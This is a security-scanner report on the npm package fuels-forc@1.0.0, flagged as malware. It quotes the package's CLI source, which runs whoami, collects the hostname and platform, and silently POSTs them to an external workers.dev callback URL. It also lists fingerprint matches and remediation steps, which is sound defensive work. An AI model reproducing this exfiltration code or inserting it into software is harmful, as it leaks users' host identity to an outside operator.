registry / Credential exfiltration / fuels-forc

fuels-forc

Minimal npx package that POSTs package name and whoami to an OOB callback

This report shows the evidence for fuels-forc@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package has no apparent functional purpose beyond sending local host identity data to an out-of-band endpoint. The explicit collection and transmission are concrete malicious behavior when the CLI is invoked.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A user runs the fuels-core CLI, including through npx.

Impact

The external operator receives the local username, hostname, platform, and package identity.

Mechanism

Collect local identity data and POST it to a remote callback.

Attack narrative

The executable CLI runs whoami or reads the operating-system username, then posts that value along with hostname and platform to an external workers.dev endpoint. It suppresses network errors, making the collection silent to the caller. Although it has no install hook, execution of its advertised command causes the exfiltration.

AI rationale

Evidence

bin/cli.jspackage.json

Network endpoints1

oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The CLI obtains the local account name by running whoami, with an operating-system fallback.
When the CLI runs, it sends the account name, hostname, and platform details to an unrelated external callback.
The package metadata explicitly describes an out-of-band callback that receives package and user identity data.

Evidence against

There is no npm install lifecycle hook, so the behavior does not run automatically during installation.
The inspected source does not show file theft, persistence, or destructive actions.

Behavioral surface

Source

ChildProcessNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.01 KB of source, external domains: oobme.kunalsharma0553.workers.dev

Source & flagged code

7 flagged

bin/cli.jsView file

2L3: const { execFileSync } = require("node:child_process"); L4: const os = require("node:os"); L5: const { name } = require("../package.json"); L6: L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; L8: ... L13: try { L14: return os.userInfo().username; L15: } catch { ... L34: }, L35: body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

•matchType = normalized_sha256 matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/cli.jsView on unpkg

9function whoami() { try { return execFileSync("whoami", { encoding: "utf8" }).trim(); } catch { try { return os.userInfo().username; } catch { return "unknown"; } } }

High

Ai Review Evidence

The CLI obtains the local account name by running whoami, with an operating-system fallback.

bin/cli.jsView on unpkg · L9

21async function main() { const user = whoami(); const url = new URL(OOB_URL); url.searchParams.set("pkg", name); url.searchParams.set("whoami", user); try { await fetch(url.toString(), { method: "POST", headers: { "Content-Type": "application/json", "User-Agent": `npx/${name}`, "X-Package-Name": name, }, body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }),

High

Ai Review Evidence

When the CLI runs, it sends the account name, hostname, and platform details to an unrelated external callback.

bin/cli.jsView on unpkg · L21

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

2"name": "fuels-forc", "version": "1.0.0", "description": "Minimal npx package that POSTs package name and whoami to an OOB callback", "bin": { "fuels-core": "bin/cli.js"

High

Ai Review Evidence

The package metadata explicitly describes an out-of-band callback that receives package and user identity data.

package.jsonView on unpkg · L2

Source & flagged code

7 flagged · loading source

bin/cli.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/cli.jsView on unpkg

9function whoami() { try { return execFileSync("whoami", { encoding: "utf8" }).trim(); } catch { try { return os.userInfo().username; } catch { return "unknown"; } } }

High

Ai Review Evidence

The CLI obtains the local account name by running whoami, with an operating-system fallback.

bin/cli.jsView on unpkg · L9

High

Ai Review Evidence

When the CLI runs, it sends the account name, hostname, and platform details to an unrelated external callback.

bin/cli.jsView on unpkg · L21

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

2"name": "fuels-forc", "version": "1.0.0", "description": "Minimal npx package that POSTs package name and whoami to an OOB callback", "bin": { "fuels-core": "bin/cli.js"

High

Ai Review Evidence

The package metadata explicitly describes an out-of-band callback that receives package and user identity data.

package.jsonView on unpkg · L2

Findings

7 High1 Medium3 Low

HighHost Fingerprint Exfiltrationbin/cli.js

HighSemantic Analysis Limitedpackage.json

HighKnown Malware Source Similaritybin/cli.js

HighKnown Malware Source Fingerprint Signaturebin/cli.js

HighAi Review Evidencebin/cli.js

HighAi Review Evidencepackage.json

MediumNetwork

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to fuels-forc@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing fuels-forc@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-03 06:00:07.056Z (UTC).

Source advisory published: 2026-08-31 00:00:00.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedSep 1, 2026, 10:40 PM 1.0.0shownMaliciousCredential ExfiltrationBlockPublishedAug 30, 2026, 7:55 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Source & flagged code

Related packages

Other credential exfiltration packages